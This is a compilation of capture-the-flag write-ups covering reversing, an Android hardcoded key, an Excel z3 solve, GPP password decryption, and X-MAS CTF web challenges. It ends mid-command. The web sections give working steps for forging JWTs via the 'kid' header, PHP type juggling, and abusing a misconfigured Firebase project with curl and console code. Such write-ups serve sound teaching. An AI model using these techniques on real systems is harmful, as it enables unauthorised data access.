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# Izzy**category:** reverse **points:** 66**solves:** 77
## DescriptionIzzy was writing a novel based on Mayan culture. Will Tom finish her book so that she could rest in peace?
## SolutionThe two files we have are :command.sh:```bash#!/bin/bashexport i=99; grep -o . <<< cat flag.txt| while read letter; do i=$((i+1)); printf '%02x' "$(($(python3 -c "import os;import decimal; import time; decimal.getcontext().prec = 2992; index=int(os.environ.get('i')); x = str(decimal.Decimal(1) / decimal.Decimal((1010 - int(time.strftime('%m')))*1000 +1))[2:]; print(int(x[3*index:3*index+3]))") ^ $(printf '%#x\n' '"'$letter)))">>result.txt; done;```and result.txt:```2855140337590c3434040c5b411346492b3113430c11254a49220a17b3def0b3b0e1f2b7d7bdfdb8%```
command.sh execute the following python code :```pythonimport os;import decimal;import time; decimal.getcontext().prec = 2992;
for index in range(100,140): x = str(decimal.Decimal(1) / decimal.Decimal((1010 - int(time.strftime('%m')))*1000 +1))[2:]; print(int(x[3*index:3*index+3]))```and xor it with the letter.I made a simple script to get the flag from result.txt:```pythonimport os;import decimal;import time;
with open("result.txt","r") as f: content = f.read()content = bytes.fromhex(content)
flag = ""decimal.getcontext().prec = 2992; for index in range(100,140): x = str(decimal.Decimal(1) / decimal.Decimal((1010 - int(time.strftime('%m')))*1000 +1))[2:]; flag += chr(int(x[3*index:3*index+3])^content[index-100])print(flag) -----------```
when I run it : ```$ python decode.py L0rd_0f_Xib41b4:_De4th_15_th3_r04dt0_4w3```
The flag is **ASIS{L0rd_0f_Xib41b4:_De4th_15_th3_r04dt0_4w3}** |
# Quipasse**Category: Android Reverse Engineering**
Opening up the application, we are greeted by a password screen:
Let's decompile, and look at the source for clues.
This is the code that runs on the button press:```java// MainActivity.javapublic void onClick(View v) { Intent intent = new Intent(MainActivity.this, DbActivity.class); String password = ((EditText) MainActivity.this.findViewById(R.id.dbPassword)).getText().toString(); if (password.isEmpty()) { Toast.makeText(MainActivity.this, "Il faudrait penser à choisir un mot de passe.", 0).show(); } else if (password.matches("-?[0-9a-fA-F]+")) { intent.putExtra("password", password); MainActivity.this.startActivity(intent); } else { Toast.makeText(MainActivity.this, "Ça ne ressemble pas vraiment à une clé ça.", 0).show(); }}```
We can see that there is a regex match to ensure the password conforms to an expected character set. If the characters are correct, we launch the DbActivity:
```java// DbActivity.javaprivate String[] encryptedPasses = {"BS/MgnUEep/nCC1aAK/aB5mJAKfRGn3T03/sePM8nVv9nn36UZZvi+/bsqHnaKtc", "Rly34A8V98gY467cQy6JfLZa/PNjtEXyxdyGva6pScZmEtMKsaaHv88wxvKDB44OoSqO0HPcbUpvp8tD2rCSlw==", "U+HaCImq6DmIKc+9rzhf41tbcPuXg0UCrEGPdmzMBdFRMC/mbVg+ITC+zvkJZi4PO2dhIg0PcnSPIlSt1VJzWw==", "YIY1M4r5M9cy1EgmB9WGB6ULTopi+b7MuJKsl82JCLr+P6FAJhwr4XDxbTL6Qw2m", "1NJxkx1uM5X6feZaCWa0nluQwrc0NF4xo69I2Uw0aJ0au4o0KfrzUPpQynxQB+nU", "szQ1W/w93pvU4wk3WXMkLYG7tuUsP55f2r915PmOkHJI9LVuAXMEFKhS+7Vl/HllZx+Mb2ILzjDSW1xqvdPg/fwidsy+WWpHatPnDDEToy8="};...public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView((int) R.layout.flags_activity); byte[] password = EntryList.hexStringToByteArray(getIntent().getStringExtra("password")); ArrayList<Entry> decryptedPasses = new ArrayList<>(); for (String bytes : this.encryptedPasses) { try { decryptedPasses.add(Entry.newEntrySerialized(new String(decrypt(password, Base64.getDecoder().decode(bytes.getBytes())), StandardCharsets.UTF_8))); } catch (Exception e) { Toast.makeText(this, "On dirait que ce n'est pas la bonne clé :'(", 0).show(); } } EntryList entries = new EntryList(this, (Entry[]) decryptedPasses.toArray(new Entry[0])); ListView listView2 = (ListView) findViewById(R.id.flagList); this.listView = listView2; listView2.setAdapter(entries);}```
Looks like the entered password needs to be able to decrypt some data. I looked in `strings.xml` to see if there was anything there that could help. Something really interesting popped up:```xml<string name="secret_key">B224589A65B8E5BF5C36ABF3DC48CFA2607044BEA72C796104087AEF576503BC</string>```
Entering this into the application did the trick, and we were sent to this screen:
`H2G2{r0n4n_L4CH3_C3TT3_APK!}` |
> EXCELlent>> Excellent CTFs need excellent business strategies, and what would be more appropriate than Microsoft ® Excel ™?>> Of course, you need the excellent Excel Gold subscription to be as excellent as hxp. But of course, that won’t be a problem for all the excellent hackers like you.>> Download: [EXCELlent-baab1a048523e490.tar.xz](https://0xd13a.github.io/ctfs/hxp2020/EXCELlent/EXCELlent-baab1a048523e490.tar.xz) (926.3 KiB)
This was an interesting old-school challenge. When I opened the Excel file I expected tricky obfuscated scripting, VBA stomping, or the like, but it was just a simple spreadsheet with a bunch of formulas. Actually *a lot* of formulas.
The front sheet asks for a serial number, and as you change it, portions of the "Serial Status" bar change color. Presumably when the whole bar is green the message in the bottom will display the flag:
Let's open the file in something like 7Zip. There are 5 sheets defined as XML files under ```xl/worksheets```. The formulas inside connect different sheets together. Some formulas are involved in calculating Serial Status and others are used to calculate the flag. Let's plot the relationship:
Note that Serial Status calculation is pretty localized, we could just analyze that and once we figure out how to calculate the "green" status correctly we can find the serial number and then plug it in to get the flag.
Essentially all calculations we need are in Sheet2. Their number is small enough for us to analyze and iteratively fold and reduce them to the point that they only depend on the characters from the serial number. We can then use the z3 solver to find the serial.
Let's put the reduced calculations in a script:
```pyfrom z3 import *
size = 21
solver = Solver()
for i in range(size): globals()['F%i' % i] = BitVec('F%i' % i, 32) solver.add(And(globals()['F%i' % i] >= 0, globals()['F%i' % i] <= 255))
# Reduced expressions from Sheet2
solver.add(57 == (globals()['F3']+globals()['F8']+globals()['F12']+globals()['F16']) % 256)solver.add(133 == ((255 & (globals()['F3'] >> 2)) | (255 & (globals()['F3'] << 6))) ^ ((255 & (globals()['F20'] >> 1)) | (255 & (globals()['F20'] << 7))) ^ (((255 & (globals()['F11'] >> 1)) | (255 & (globals()['F11'] << 7))) ^ ((255 & (globals()['F12'] >> 2)) | (255 & (globals()['F12'] << 6)))))solver.add(62 == (globals()['F4']+globals()['F5']+globals()['F18']+globals()['F19']) % 256)solver.add(38 == (globals()['F4']+globals()['F9']+globals()['F13']+globals()['F17']) % 256)solver.add(225 == ((255 & (globals()['F4'] >> 3)) | (255 & (globals()['F4'] << 5))) ^ ((255 & (globals()['F19'] >> 0)) | (255 & (globals()['F19'] << 8))) ^ (((255 & (globals()['F10'] >> 0)) | (255 & (globals()['F10'] << 8))) ^ ((255 & (globals()['F13'] >> 3)) | (255 & (globals()['F13'] << 5)))))solver.add(57 == (globals()['F5']+globals()['F10']+globals()['F14']+globals()['F18']) % 256)solver.add(163 == ((255 & (globals()['F5'] >> 4)) | (255 & (globals()['F5'] << 4))) ^ ((255 & (globals()['F18'] >> 8)) | (255 & (globals()['F18'] << 0))) ^ (((255 & (globals()['F9'] >> 8)) | (255 & (globals()['F9'] << 0))) ^ ((255 & (globals()['F14'] >> 4)) | (255 & (globals()['F14'] << 4)))))solver.add(47 == (globals()['F6']+globals()['F11']+globals()['F15']+globals()['F19']) % 256)solver.add(212 == ((255 & (globals()['F6'] >> 5)) | (255 & (globals()['F6'] << 3))) ^ ((255 & (globals()['F17'] >> 7)) | (255 & (globals()['F17'] << 1))) ^ (((255 & (globals()['F8'] >> 7)) | (255 & (globals()['F8'] << 1))) ^ ((255 & (globals()['F15'] >> 5)) | (255 & (globals()['F15'] << 3)))))solver.add(81 == (((((0+((globals()['F3'] ^ 17) >> 2)) % 256 + ((globals()['F4'] ^ 34) >> 2)) % 256 + ((globals()['F5'] ^ 51) >> 2)) % 256 + ((globals()['F6'] ^ 68) >> 2)) % 256 + ((globals()['F7'] ^ 85) >> 2)) % 256) ###solver.add(248 == (((((0+((globals()['F3'] ^ 85) << 2)) % 256 + ((globals()['F4'] ^ 68) << 2)) % 256 + ((globals()['F5'] ^ 51) << 2)) % 256 + ((globals()['F6'] ^ 34) << 2)) % 256 + ((globals()['F7'] ^ 17) << 2)) % 256)solver.add(169 == (globals()['F7']+globals()['F20']) % 256)solver.add(116 == ((255 & (globals()['F7'] >> 6)) | (255 & (globals()['F7'] << 2))) ^ ((255 & (globals()['F16'] >> 6)) | (255 & (globals()['F16'] << 2))))solver.add(79 == ((((0+((globals()['F8'] ^ 17) >> 2)) % 256 + ((globals()['F9'] ^ 34) >> 2)) % 256 + ((globals()['F10'] ^ 51) >> 2)) % 256 + ((globals()['F11'] ^ 68) >> 2)) % 256)solver.add(36 == ((((0+((globals()['F8'] ^ 68) << 2)) % 256 + ((globals()['F9'] ^ 51) << 2)) % 256 + ((globals()['F10'] ^ 34) << 2)) % 256 + ((globals()['F11'] ^ 17) << 2)) % 256)solver.add(74 == ((((0+((globals()['F12'] ^ 17) >> 2)) % 256 + ((globals()['F13'] ^ 34) >> 2)) % 256 + ((globals()['F14'] ^ 51) >> 2)) % 256 + ((globals()['F15'] ^ 68) >> 2)) % 256)solver.add(176 == ((((0+((globals()['F12'] ^ 68) << 2)) % 256 + ((globals()['F13'] ^ 51) << 2)) % 256 + ((globals()['F14'] ^ 34) << 2)) % 256 + ((globals()['F15'] ^ 17) << 2)) % 256)solver.add(82 == (((((0+((globals()['F16'] ^ 17) >> 2)) % 256 + ((globals()['F17'] ^ 34) >> 2)) % 256 + ((globals()['F18'] ^ 51) >> 2)) % 256 + ((globals()['F19'] ^ 68) >> 2)) % 256 + ((globals()['F20'] ^ 85) >> 2)) % 256)solver.add(60 == (((((0+((globals()['F16'] ^ 85) << 2)) % 256 + ((globals()['F17'] ^ 68) << 2)) % 256 + ((globals()['F18'] ^ 51) << 2)) % 256 + ((globals()['F19'] ^ 34) << 2)) % 256 + ((globals()['F20'] ^ 17) << 2)) % 256)solver.add(0 == (globals()['F3'] & 32) + (globals()['F4'] & 32) + (globals()['F5'] & 32) + (globals()['F6'] & 32) + (globals()['F7'] & 32) + (globals()['F8'] & 32) + (globals()['F9'] & 32) + (globals()['F10'] & 32) + (globals()['F11'] & 32) + (globals()['F12'] & 32) + (globals()['F13'] & 32) + (globals()['F14'] & 32) + (globals()['F15'] & 32) + (globals()['F16'] & 32) + (globals()['F17'] & 32) + (globals()['F18'] & 32) + (globals()['F19'] & 32) + (globals()['F20'] & 32))solver.add(0 == -14+globals()['F3']+globals()['F4']+globals()['F5']+globals()['F6']+globals()['F7']- globals()['F8']-globals()['F9']-globals()['F10']-globals()['F11']+globals()['F12']+globals()['F13']+ globals()['F14']+globals()['F15']-globals()['F16']-globals()['F17']-globals()['F18']-globals()['F19']- globals()['F20'])
# Find the solution
modl = solver.model()
# Collect the key characters from the solution
res = ""for i in range(size): obj = globals()['F%i' % i] res += chr(modl[obj].as_long())print(res)```
When we run the script it outputs the serial number: ```VLLKZJKNFRCGPGLXNO```.
After we plug it into the spreadsheet we get the flag:
The flag is ```hxp{excellence_c0mes_fr0m_excel}```. |
Download the challenge archive, extract it, open `Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml`:
```xml
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="n00b_us3r" image="0" changed="2020-11-15 00:57:07" uid="{A8043038-7235-4F5E-BE8C-3076F5D31FE8}"><Properties action="C" fullName="" description="" cpassword="HlQWFdlPXQTU7n8W9VbsVTP245DcAJAUQeAZZfkJE/Q8ZlWgwj7CqKl6YiPvKbQFO7PWS7rSwbVtSSZUhJSj5YzjbkKtyXR5fP9VQDEieMU" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" userName="n00b_us3r"/></User></Groups>```
By giving this cpassword to gp3finder, we get the flag:
```bash$ python cli.py -D HlQWFdlPXQTU7n8W9VbsVTP245DcAJAUQeAZZfkJE/Q8ZlWgwj7CqKl6YiPvKbQFO7PWS7rSwbVtSSZUhJSj5YzjbkKtyXR5fP9VQDEieMU
Group Policy Preference Password Finder (GP3Finder) 5.0.0 Copyright (C) 2020 Oliver Morton This program comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under certain conditions. See GPLv2 License.
INFO: gp3finder: Decrypted password is 38 characters.INFO: gp3finder: --------------------------------------INFO: gp3finder: vulncon{s3cur1ty_h4s_3volv3d_s0__much}INFO: gp3finder: --------------------------------------``` |
# X-MAS CTF 2020 WriteupThis repository serves as a writeup for X-MAS CTF 2020
## PHP Master
**Category:** Web**Points:** 33**Author:** yakuhito**Description:**
>Another one of *those* challenges.
>Target: http://challs.xmas.htsp.ro:3000/
### Write-upIn this task, we got a PHP web page with the source code.
After looking at the conditions mentioned in the second if() statement, I was thinking about the Php type-juggling.
But the issue was that we can't use the `e` in the input (like `0e5` to represent a zero value).
Since also we couldn't use the `0` as a first character in the first parameter, we can use them in the second parameter but the length of the two parameters should be the same.
This will lead us to find a solution with a zero value. We can for example use `.0` to represent a zero and we can also use `00` or ` 0` (with space) to represent a zero.
This way, the URL will be as following ``http://challs.xmas.htsp.ro:3000/?param1=.0¶m2=00``.
So, the flag is ``X-MAS{s0_php_m4ny_skillz-69acb43810ed4c42}``___
## X-MAS Chan
**Category:** Web**Points:** 470**Author:** yakuhito, Milkdrop**Description:**
>こんにちは!!! We have made a place on the interwebz to talk about anime and stuffz... We hope you have fun!
>Note: Flag can be found in /flag.php
>Target: http://challs.xmas.htsp.ro:3010/
### Write-up
After we accessed the task link, we get this page
Then, we access the next link: http://challs.xmas.htsp.ro:3010/b/
And we get the following page
With a banner on the top and a form that looks that we have to use that form in order to solve the task.
But, there was something strange. The posts are shared with all the participants which makes the player a little bit scared from the beginning since he doesn't know that the form only accepts uploaded image files and the input seems to be sanitized because I tested a lot of tests to confirm this.
Other than that, there was a JWT token in the cookies
I decoded it in [https://jwt.io](https://jwt.io) and I got the following parts
The first check that I did was to check what that gif image looks like and it was the image shown earlier in the banner since I can access it with the URL from the top document root [http://challs.xmas.htsp.ro:3010/banner/11.gif](http://challs.xmas.htsp.ro:3010/banner/11.gif).
Another thing that attracted my attention was that banner again. The image changed in a short period of time
So I tried to identify how the cookies are set and I found that they are sent from the server when we access to the page [http://challs.xmas.htsp.ro:3010/getbanner.php](http://challs.xmas.htsp.ro:3010/getbanner.php). And the header of that page is forcing it from the server side to show image/gif content. So there was no embedded images from the source code but the web page is an image. And this makes sense since the image is choosen from the JWT token stored in the banner that gets changed periodically by the server. This is to understand what's going on before moving to the solution.
Now when we look back to the JWT token's header we can see that the algorithm used here is 'HMAC256' and the kid parameter is known to give a hint about the secret that is used by the algorithm when the signature is generated.
This means that if we want to tweak the payload, we should have the secret which seems to be stored in ``/tmp/jwt.key``. The idea of tweaking the payload came in my mind because the flag was stored in /flag.php but it's not shown so we have to get the source code of that web page.
Let's get back to the form. I tried to upload a PNG image as an example to see what I can find there as a result.
This was the result
And the image is locally stored under [http://challs.xmas.htsp.ro:3010/b/src/1608321992782.png](http://challs.xmas.htsp.ro:3010/b/src/1608321992782.png)
So, what if instead of using the /tmp/jwt.key as a secret to create the JWT signature, we use the uploaded image ? Then, we use that image to generate a valid JWT token where the payload will mention the location of the flag which is in /flag.php .
We ran few python3 commands as following:
``python3``
```python3import jwtf = open("1608321992782.png", "rb")key=f.read()jwt.encode({"banner": "flag.php"}, key, algorithm='HS256', headers={'kid': 'b/src/1608321992782.png'})```
Output:
```b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6ImIvc3JjLzE2MDgzMjE5OTI3ODIucG5nIn0.eyJiYW5uZXIiOiJmbGFnLnBocCJ9.K43hF2SgDEu7xZYABatOzV3aj4E2wWcgVNEbAJ3H10o'```
And that's how we get the new JWT token.
Then, we used it when we requested the /getbanner.php web page as following:
```shellcurl 'http://challs.xmas.htsp.ro:3010/getbanner.php' -H 'Cookie: banner=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6ImIvc3JjLzE2MDgzMjE5OTI3ODIucG5nIn0.eyJiYW5uZXIiOiJmbGFnLnBocCJ9.K43hF2SgDEu7xZYABatOzV3aj4E2wWcgVNEbAJ3H10o'```
Output:```
```
So, the flag is: ``X-MAS{n3v3r_trust_y0ur_us3rs_k1ds-b72dcf5a49498400}``___
## Santa's Landing Pad
**Category:** Hardware**Points:** 354**Author:** trupples**Description:**
>The elves and I have been working on some christmas lights to aid Santa in landing back home in the fog. (You have NO IDEA how much we pay in repairs every few years) Check them out! https://www.youtube.com/watch?v=162DpMTMfMI
Attached image:
### Write-up
When I saw the video few times, I found that there are only 7 LEDs which is the perfect example for the 7 bits used in ASCII (the 8th is set as 0).
But how can we have the confirmation ?
The first thing that I did was to download all the frames/screenshots where the LEDs changed from a state to another. And I got 40 screenshots ([available in this folder](resources/hardware-354-santa_s_landing_pad/)).
The first and the last frame have all the LEDs 'on' so I guess that was the delimiter that indicates when the test started and when it ended. So, I excluded these 2 frames.
We know that the flag format is ``X-MAS{...}``. Since every frame can show a single byte (8 bits), we need 7 frames. And then we can compare the frames side by side to identify the LEDs that changed of state to associate them with the bit position among the last 7 bits (0xxxxxxx).
That was successful as following
Then, I continued with extracting the remaining characters from the flag ([available in this folder](resources/hardware-354-santa_s_landing_pad/))
And I found the following string string: ``X-MAS{W3lc0c0Me_To_E.E.E.E.}E.E.}``. But the flag didn't work the first time and that's normal because the flag is a little bit strange.
So, I get back to the video and I found that the hand of the guy was a little bit shaking sometimes probably because the interruptor was sensitive so he want to make sure that all the states were shown. And that's how we know that I was a mistaken and that the flag is shorter than that.
So, the flag is: ``X-MAS{W3lc0Me_To_E.E.}``___
## The Big Election Hack
**Category:** Web**Points:** 488**Author:** yakuhito**Description:**
>The news is out: The pink party's candidate has won the election and is going to be the next president of The United Island of Wawanakwa! You are happy for a few minutes, but then remember the last assignment received from your boss before he left for a 3-week holiday: to make sure that the orange party's candidate is elected. Thankfully, your colleague Dimitri sent you a link that looks promising - maybe you won't get sent to Chef Hatchet after all.
>Target: http://challs.xmas.htsp.ro:3009/
### Write-up
Our team was close to the flag but we didn't manage to finish the last step. Even though, after the CTF was over I asked for the last step and I was able to confirm it and here is all the details that show you how to solve it.
All the resources related to this task were already downloaded in this folder: [resources/web-488-the_big_election_hack](resources/web-488-the_big_election_hack), so you can test anything later.
After we accessed the task link, we get this page
When we check the source code of that web page we can see a Firebase configuration that was set there
There is also a [resources/web-488-the_big_election_hack/js/login.js](js/login.js) file
After seeing this, I tried to see what's inside /dashboard.html and after some tweaking in that web page to disable the redirection, I was able to get the preview of that web page
The [resources/web-488-the_big_election_hack/dashboard.html](dashboard.html) file contains also a [resources/web-488-the_big_election_hack/js/dashboard.js](js/dashboard.js) file.
And we can see that the Firebase API was used to retrieve the data from the firestore in the loadData() and this will show the results in the table displayed in the web page. But since we are not logged in, we can't get any results.
My teammate [v3rlust](https://github.com/v3rlust) helped me with an idea and provided me with the tool [https://github.com/0xbigshaq/firepwn-tool](https://github.com/0xbigshaq/firepwn-tool) which can be used, in addition, as a GUI for Firebase.
We provided to this tool the required parameters from the Firebase configuration.
Then, we tried to create an account within the working space defined by the API key.
And the registration worked.
This operation is translated with curl commands as:
```# Register a new account with the email address [email protected]curl 'https://www.googleapis.com/identitytoolkit/v3/relyingparty/signupNewUser?key=AIzaSyDUOa5rtOnbVbF7T7ivUeBBR78L2tkODmY' --data-binary '{"email":"[email protected]","password":"123456","returnSecureToken":true}'```
It's important to get the idToken from the HTTP response because a user is identified with its token.
This idToken is used to communicate with the Firebase API to do any kind of authorized actions (we will see them later). For example we can retrieve the details of the user:
```# ID Token=eyJhbGciOiJSUzI1NiIsImtpZCI6IjNjYmM4ZjIyMDJmNjZkMWIxZTEwMTY1OTFhZTIxNTZiZTM5NWM2ZDciLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3NlY3VyZXRva2VuLmdvb2dsZS5jb20vb2ZmaWNpYWwtd2F3YW5ha3dhLWVsZWN0aW9ucyIsImF1ZCI6Im9mZmljaWFsLXdhd2FuYWt3YS1lbGVjdGlvbnMiLCJhdXRoX3RpbWUiOjE2MDg2NjQyMDEsInVzZXJfaWQiOiJ5OXQ5a3dyR1Z1TWVYSHlrRWd6N25uT0pMZU4yIiwic3ViIjoieTl0OWt3ckdWdU1lWEh5a0Vnejdubk9KTGVOMiIsImlhdCI6MTYwODY2NDIwMSwiZXhwIjoxNjA4NjY3ODAxLCJlbWFpbCI6ImVtcGVyb3JAeW9wbWFpbC5jb20iLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsImZpcmViYXNlIjp7ImlkZW50aXRpZXMiOnsiZW1haWwiOlsiZW1wZXJvckB5b3BtYWlsLmNvbSJdfSwic2lnbl9pbl9wcm92aWRlciI6InBhc3N3b3JkIn19.IwUrkyT4WA7_SYTZHVhM9WDRPrFZCplm0INaJxoksiylBLou0_RJwPYDyQdFW6uHZsdfm-6oCr29vVS7MYbDuFd24BMGWzooHiBZuOQR2PAjQSNOaq7nP0q5pO4Y0vQ17bI5PAqwDxfbRzu6GhRAvgypcIOWmpLpNIxbp7OFQ2pUZzQh29GgBvhDVWHstByps9fvT-v2BM8ClKGApEXxpZdKaceEw00Gqd7VjKY83-M0UU4q-odV28RgRLEWe1POHSXgxYOUnSYjMHGchwAGw0vyhUk-AW4-Ug2WgbIvjL4lMcan6IadajXYcmRftqhK016QjH_fetWm1gW3ANDZKQcurl 'https://www.googleapis.com/identitytoolkit/v3/relyingparty/getAccountInfo?key=AIzaSyDUOa5rtOnbVbF7T7ivUeBBR78L2tkODmY' --data-binary '{"idToken":"eyJhbGciOiJSUzI1NiIsImtpZCI6IjNjYmM4ZjIyMDJmNjZkMWIxZTEwMTY1OTFhZTIxNTZiZTM5NWM2ZDciLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3NlY3VyZXRva2VuLmdvb2dsZS5jb20vb2ZmaWNpYWwtd2F3YW5ha3dhLWVsZWN0aW9ucyIsImF1ZCI6Im9mZmljaWFsLXdhd2FuYWt3YS1lbGVjdGlvbnMiLCJhdXRoX3RpbWUiOjE2MDg2NjQyMDEsInVzZXJfaWQiOiJ5OXQ5a3dyR1Z1TWVYSHlrRWd6N25uT0pMZU4yIiwic3ViIjoieTl0OWt3ckdWdU1lWEh5a0Vnejdubk9KTGVOMiIsImlhdCI6MTYwODY2NDIwMSwiZXhwIjoxNjA4NjY3ODAxLCJlbWFpbCI6ImVtcGVyb3JAeW9wbWFpbC5jb20iLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsImZpcmViYXNlIjp7ImlkZW50aXRpZXMiOnsiZW1haWwiOlsiZW1wZXJvckB5b3BtYWlsLmNvbSJdfSwic2lnbl9pbl9wcm92aWRlciI6InBhc3N3b3JkIn19.IwUrkyT4WA7_SYTZHVhM9WDRPrFZCplm0INaJxoksiylBLou0_RJwPYDyQdFW6uHZsdfm-6oCr29vVS7MYbDuFd24BMGWzooHiBZuOQR2PAjQSNOaq7nP0q5pO4Y0vQ17bI5PAqwDxfbRzu6GhRAvgypcIOWmpLpNIxbp7OFQ2pUZzQh29GgBvhDVWHstByps9fvT-v2BM8ClKGApEXxpZdKaceEw00Gqd7VjKY83-M0UU4q-odV28RgRLEWe1POHSXgxYOUnSYjMHGchwAGw0vyhUk-AW4-Ug2WgbIvjL4lMcan6IadajXYcmRftqhK016QjH_fetWm1gW3ANDZKQ"}'```
Output:
Now we have an account, we can use it to authentication in the web page of the task that we have seen the first time.
And here we can see the table filled with the data from the database.
But, before we continue with solving the task, the disabled button "SET/CHANGE RESULTS" was associated with the function "changeResults()".
And that function was defined as following.
So, there is nothing left within the source code apart the name of the collection and the document that are used to retrieve the data from the Firestore.
So, let's get back to the Firepwn-tool and use the "Firestore DB Explorer" to dump the data stored in the collection "stats":
Output:
```{"note_to_admin":"restrict access to the '/secret' collection","winner_party":"[redacted]","winner":"[redacted]"}{"winner_party":"The Pink Party","winner":"Chris McLean"}```
This will lead us to dump the data within the "secret" collection:
And from here we got a hint to get the flag from the backups.
If we remember what we have, we have explored the Firestore. And the storageBucket can fit well with what we can call "backups".
And knowing that every Firebase feature have its proper .js file:
We have to include a valid .js file that uses the storage API like this one: https://www.gstatic.com/firebasejs/8.1.1/firebase-storage.js
In the following steps, I explained how to work with two different methods: using the Browser's console or using the curl command.
The following instructions needs to be included in the console of the web browser to include the Sotrage script```// include the Storage scriptvar script = document.createElement('script');script.type = 'text/javascript';script.src = 'https://www.gstatic.com/firebasejs/8.1.1/firebase-storage.js';document.head.appendChild(script);```
Once the script is loaded, we need to list all the files stored in the default storage bucket
```var listRef = firebase.storage().ref()// Find all the prefixes and items.listRef.listAll().then(function(res) { res.prefixes.forEach(function(folderRef) { // All the prefixes under listRef. // You may call listAll() recursively on them. }); res.items.forEach(function(itemRef) { // All the items under listRef. });}).catch(function(error) { // Uh-oh, an error occurred!});```
This will send a request described by the following curl command:
```curl 'https://firebasestorage.googleapis.com/v0/b/official-wawanakwa-elections.appspot.com/o?prefix=&delimiter=%2F' -H 'Authorization: Firebase eyJhbGciOiJSUzI1NiIsImtpZCI6IjNjYmM4ZjIyMDJmNjZkMWIxZTEwMTY1OTFhZTIxNTZiZTM5NWM2ZDciLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3NlY3VyZXRva2VuLmdvb2dsZS5jb20vb2ZmaWNpYWwtd2F3YW5ha3dhLWVsZWN0aW9ucyIsImF1ZCI6Im9mZmljaWFsLXdhd2FuYWt3YS1lbGVjdGlvbnMiLCJhdXRoX3RpbWUiOjE2MDg2NjQzNzgsInVzZXJfaWQiOiJ5OXQ5a3dyR1Z1TWVYSHlrRWd6N25uT0pMZU4yIiwic3ViIjoieTl0OWt3ckdWdU1lWEh5a0Vnejdubk9KTGVOMiIsImlhdCI6MTYwODY2NDM3OCwiZXhwIjoxNjA4NjY3OTc4LCJlbWFpbCI6ImVtcGVyb3JAeW9wbWFpbC5jb20iLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsImZpcmViYXNlIjp7ImlkZW50aXRpZXMiOnsiZW1haWwiOlsiZW1wZXJvckB5b3BtYWlsLmNvbSJdfSwic2lnbl9pbl9wcm92aWRlciI6InBhc3N3b3JkIn19.ej2OLpotzBI_BGddWSzXhCbROuwjlk8_eZ2KjpOtS_gYXDoY9y4xc058t698SA0xv7zt-zLKGA1Z7F1eNL9RHmCXJ4gdF9tJqZobPHi6baTiMbZtCRxZ15YDjipyOrQOJoPci2EGKVA93buR0U6OCSE_kSe0r7-8CQSUuUypyoO6J-eIRn4iRcHcnGG88W-WOIGrwUEBBcfvbcbWsB8iIQGdl_oAoLDYNSxC62kzjejhYmvuSI-GpKjezlAwLtDFyHoNC_wDAlmPElqwOEgtvxuNtIdBZjyilKzRMmKCxdUvTs1HNbpPkOIfwEhPDzo47mubS6ZAEokbr5Vml2NadA'```
Output:
Now, we need to download those files using the following Javascript instructions that needs to be ran in the console:
```firebase.storage().ref('index.js').getDownloadURL().then(function(url) { // `url` is the download URL for 'images/stars.jpg'console.log(url) // This can be downloaded directly: var xhr = new XMLHttpRequest(); xhr.responseType = 'blob'; xhr.onload = function(event) { var blob = xhr.response;console.log(blob); }; xhr.open('GET', url); xhr.send();}).catch(function(error) { // Handle any errors});
firebase.storage().ref('ArrayOfPower:)').getDownloadURL().then(function(url) { // `url` is the download URL for 'images/stars.jpg'console.log(url) // This can be downloaded directly: var xhr = new XMLHttpRequest(); xhr.responseType = 'blob'; xhr.onload = function(event) { var blob = xhr.response;console.log(blob); }; xhr.open('GET', url); xhr.send();}).catch(function(error) { // Handle any errors});
firebase.storage().ref('WhyCanIWriteToThisDir?.bat').getDownloadURL().then(function(url) { // `url` is the download URL for 'images/stars.jpg'console.log(url) // This can be downloaded directly: var xhr = new XMLHttpRequest(); xhr.responseType = 'blob'; xhr.onload = function(event) { var blob = xhr.response;console.log(blob); }; xhr.open('GET', url); xhr.send();}).catch(function(error) { // Handle any errors});```
This will generate three HTTP requests as follow:
```curl 'https://firebasestorage.googleapis.com/v0/b/official-wawanakwa-elections.appspot.com/o/index.js?alt=media&token=bf68a747-6948-43ac-b976-9fa1e74b2e3d'curl 'https://firebasestorage.googleapis.com/v0/b/official-wawanakwa-elections.appspot.com/o/ArrayOfPower%3A)' -H 'Authorization: Firebase 